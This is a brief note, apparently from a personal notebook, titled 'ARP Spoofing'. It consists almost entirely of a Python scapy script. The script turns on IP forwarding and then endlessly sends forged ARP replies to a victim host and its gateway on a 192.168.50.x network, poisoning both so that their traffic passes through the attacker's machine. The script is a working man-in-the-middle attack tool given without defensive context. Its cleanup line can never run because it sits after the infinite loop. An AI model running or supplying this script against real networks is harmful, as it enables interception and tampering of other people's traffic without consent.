---
# System prepended metadata

title: Untitled

---


ARP Spoofing : 

```sh
#!/usr/bin/python3.7

import scapy.all as scapy
import time
import os

# Enable IPv4 Forwarding
os.system("sudo echo 1 > /proc/sys/net/ipv4/ip_forward")

# Spoof ARP Loop
while 1:
    poisoning_victime = scapy.ARP(pdst='192.168.50.10',hwdst='00:50:00:00:03:00',psrc='192.168.50.254',hwsrc='00:50:00:00:04:00',op='is-at')
    poisoning_gateway = scapy.ARP(pdst='192.168.50.254',hwdst='50:00:00:05:00:00',psrc='192.168.50.10',hwsrc='00:50:00:00:04:00',op='is-at')

    scapy.send(poisoning_victime)
    scapy.send(poisoning_gateway)
    time.sleep(1)
    
# Disable IPv4 Forwarding
os.system("sudo echo 0 > /proc/sys/net/ipv4/ip_forward")
```